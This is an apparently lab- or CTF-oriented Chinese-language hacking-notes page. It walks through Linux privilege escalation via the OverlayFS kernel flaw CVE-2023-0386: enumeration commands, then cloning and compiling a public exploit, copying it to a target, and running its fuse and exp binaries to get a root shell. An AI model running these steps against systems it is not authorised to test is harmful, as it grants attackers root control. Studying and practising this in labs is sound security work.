> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# 内核利用（OverlayFS）- Linux 权限提升

内核利用（OverlayFS）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

内核提权针对 Linux 内核中的本地漏洞或发行版特定补丁。这些利用可能不稳定，因此在执行前进行版本验证和实验室测试很重要。此页面具体关注 **内核利用（OverlayFS）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## 示例

## CVE-2023-0386 OverlayFS 权限提升

> OverlayFS 允许叠加文件系统。在某些版本的 Linux 内核中，糟糕的能力管理使未授权用户能够以以下权限运行代码 **root 权限**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**操作阶段**

1. **克隆该利用代码** 从我们的本地机器：

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **将编译好的** 文件传输到目标机器（`scp`, `python -m http.server`等等）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **在目标机器上**，在以下环境中运行 **两个终端**:

* 终端 A：

```bash
./fuse ./ovlcap/lower ./gc
```

* 终端 B：

```bash
./exp
```

如果一切顺利，我们会获得一个 shell **root**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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